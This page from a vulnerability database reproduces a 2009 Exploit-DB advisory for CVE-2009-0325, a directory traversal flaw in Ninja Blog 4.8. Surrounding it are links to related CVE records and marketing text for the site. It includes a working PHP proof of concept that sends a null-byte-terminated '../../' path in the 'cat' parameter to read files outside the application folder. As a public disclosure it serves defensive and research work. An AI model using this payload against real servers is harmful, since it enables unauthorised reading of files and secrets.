Lucene search
+L

Ninja Blog 4.8 - Remote Information Disclosure

🗓️ 19 Jan 2009 00:00:00Reported by Danny MoulesType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 36 Views

Remote information disclosure in Ninja Blog 4.8 - insufficient validatio

Related
Code
ReporterTitlePublishedViews
Family
circl
Circl
CVE-2009-0325
19 Jan 200900:00
circl
cve
CVE
CVE-2009-0325
29 Jan 200918:09
cve
cvelist
Cvelist
CVE-2009-0325
29 Jan 200918:09
cvelist
euvd
EUVD
EUVD-2009-0329
7 Oct 202500:30
euvd
nvd
NVD
CVE-2009-0325
29 Jan 200918:30
nvd
prion
Prion
Directory traversal
29 Jan 200918:30
prion
ptsecurity
Positive Technologies
PT-2009-2988 · Ninja · Ninja Blog
29 Jan 200900:00
ptsecurity
Vendor: http://ninjadesigns.co.uk
Version(s): Ninja Blog 4.8 (May also affect earlier versions)
Credit: Danny Moules
Critical: Yes

See PUSH 55 Advisory at http://www.push55.co.uk/index.php?s=ad&id=6

----

Due to insufficient validation of client-side data, we can alter the path of files to be read to a file outside the intended directory.

The following PoC will read a file named 'test.txt' one level above the application folder.

---

<?php

$strToRead = "../../test.txt%00"; //Designates 'test.txt', sat one level above the application folder, to be read
$strSite = "http://www.example.com/ninjablog4.8/"; //Don't forget the trailing slash

$objCurl = curl_init();
curl_setopt($objCurl, CURLOPT_URL, $strSite."entries/index.php?cat=".$strToRead);
curl_setopt($objCurl, CURLOPT_RETURNTRANSFER, true);

echo("Getting data...\n");
$strDump = curl_exec($objCurl);

curl_close($objCurl);

echo("<div style=\"border: solid 2px black; padding: 10px; margin: 10px;\">$strDump</div>\n");

?>

# milw0rm.com [2009-01-19]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jan 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 24.3
EPSS0.02562
36